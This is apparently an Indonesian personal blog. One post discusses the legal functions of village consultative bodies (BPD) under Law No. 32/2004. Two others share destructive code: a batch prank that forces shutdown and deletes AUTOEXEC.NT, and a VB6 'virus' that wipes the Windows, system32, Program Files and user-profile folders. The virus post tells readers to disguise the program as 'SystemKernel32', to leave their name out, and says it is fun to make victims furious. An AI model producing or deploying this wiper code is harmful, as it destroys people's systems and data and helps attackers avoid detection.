Senin, 22 April 2013

Pungsi BPD.


Dengan berlakunya Undang-Undang No 32 Tahun 2004 tentang Pemerintahan daerah yang di dalamnya mengatur tentang pemerintahan Desa dan Badan Permusyawaratan Desa serta dengan ditetapkannya Peraturan Pemerintah No. 72 Tahun 2005 tentang Desa maka Peraturan Daerah yang mengatur tentang pedoman pembentukan Badan Permusyawaratan Desa disesuaikan pula dengan Peraturan Pemerintah tersebut.
Hal di atas sesuai dengan penjelasan pada Pasal 200, Undang-Undang No. 32 Tahun 2004, yang menjelaskan bahwa : “Dalam pemerintahan daerah Kabupaten/Kota dibentuk pemerintahan Desa yang terdiri dari pemerintahan Desa dan Badan Permusyawaratan Desa (BPD)”.
Sedangkan dalam pasal 209 lebih lanjut dinyatakan bahwa Badan Permusyawaratan Desa berfungsi menetapkan peraturan Desa bersama Kepala Desa, menampung dan meyalurkan aspirasi masyarakat. Dengan demikian diharapkan dapat meningkatkan penyelenggaraan pemerintahan Desa yang demokratis yang mencerminkan kedaulatan rakyat.
Pengertian desa menurut Undang-Undang No. 32 Tahun 2004 adalah kesatuan masyarakat hukum yang memiliki batas-batas wilayah yang berwenang untuk mengatur dan mengurus kepentingan masyarakat setempat, berdasarkan asal usul dan adat istiadat setempat yang diakui dan dihormati dalam sistem Pemerintahan Negara Kesatuan Republik Indonesia.
Pemerintahan Desa yang semula merupakan unit pemerintahan terendah di bawah Camat, berubah menjadi sebuah “self governing society” yang mempunyai kebebasan untuk mengurus kepentingan masyarakat setempat dan mempertanggungjawabkannya pada masyarakat setempat pula.
Bahwa dalam upaya mewujudkan pelaksanaan demokrasi dalam penyelenggaraan pemerintahan Desa agar mampu menggerakkan masyarakat untuk berpartisipasi dalam pembangunan dan penyelenggaraan administrasi Desa, maka setiap keputusan yang diambil harus berdasarkan atas musyawarah untuk mencapai mufakat.
Oleh karena itulah, Badan Permusyawaratan Desa mempunyai fungsi mengayomi adat istiadat, menetapkan peraturan Desa bersama Kepala Desa, menampung dan menyalurkan aspirasi masyarakat, serta mengawasi pelaksanaan peraturan Desa dan peraturan Kepala Desa, mengusulkan pengangkatan dan pemberhentian Kepala Desa.
Namun berdasarkan hasil observasi pra penelitian di lapangan, peneliti menemukan fenomena bahwa tingkat penyelenggaraan pemerintahan Desa yang demokratis dirasakan belum optimal. Hal itu dapat dilihat dari indikasi sebagai berikut :
1. Pengakuan terhadap keanekaragaman masyarakat sebagai hal yang wajar masih kurang.
2. Belum adanya suatu jaminan untuk terselenggaranya perubahan secara damai dalam masyarakat yang sedang berubah.
Dari uraian di atas, diduga timbulnya fenomena tersebut dikarenakan :
1. Terkadang fungsi Badan Permusyawaratan Desa untuk mengayomi adapt istiadat setempat kurang terperhatikan karena lebih mengutamakan fungsi legislasi dan anggaran.
2. Aspirasi masyarakat yang ditampung dan disalurkan Badan Permusyawaratan Desa belum representatif.
Dari permasalahan-permasalahan tersebut, ternyata belum optimalnya tingkat penyelenggaraan pemerintahan Desa yang demokratis ini berkenaan dengan beberapa fungsi Badan Permusyawaratan Desa yang belum dilaksanakan secara maksimal.

Kamis, 27 Desember 2012

Maun-main aje

@echo shutdown -s -t 1 -f  (Untuk Shutdown)

Del C:\WINDOWS\system32\AUTOEXEC.NT (Mematikan Computer)

Sabtu, 15 Desember 2012

cara membuat anti virus dan virus

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next

If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

3.Kode yg berwarna biru itu adalah penangkal nih virus sob, jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang sendiri… bisa kamu edit kok jadi apa gitu…
Yang berwarna merah itu folder yg bakal didelete ama nih virus, kamu edit sendiri aja…
4. Bikin nih project namanya kaya nama system, disini aku memakai nama “SystemKernel32″ jadi ga bakal dicurigain.
5. jangan pernah nulis nama kamu di project ini, okey friend?
6. terakhir ya tinggal di compile deh…
gimana sob, mudah sekali kan?..
sangat Simple kan? nih virus kerjanya ngapus system, jadi sengat berbahaya sekali … ini cman contoh bikin virus…
Sebenarnya bikin virus itu menyenangkan, apalagi klo kita sampai bisa bikin orang kebakaran jengot gara2 virus kita. Aku mau berbagi sedikit ilmu nih tentang cara bikin virus dengan VB 6. Materi ini hanya untuk coba-coba saja atau kata lainnya ini masih dasarnya. Kamu mungkin bisa mengembangkannya sendiri. Oh ya, aku juga menyertakan satu contoh virus yang sudah aku buat namanya r3d_94l4xy. Untuk materi yang lebih berat akan disambung lain waktu. Bagi yang ingin mendapatkan sample virus tertentu dengan source codenya silakan contact Dilianto Jhn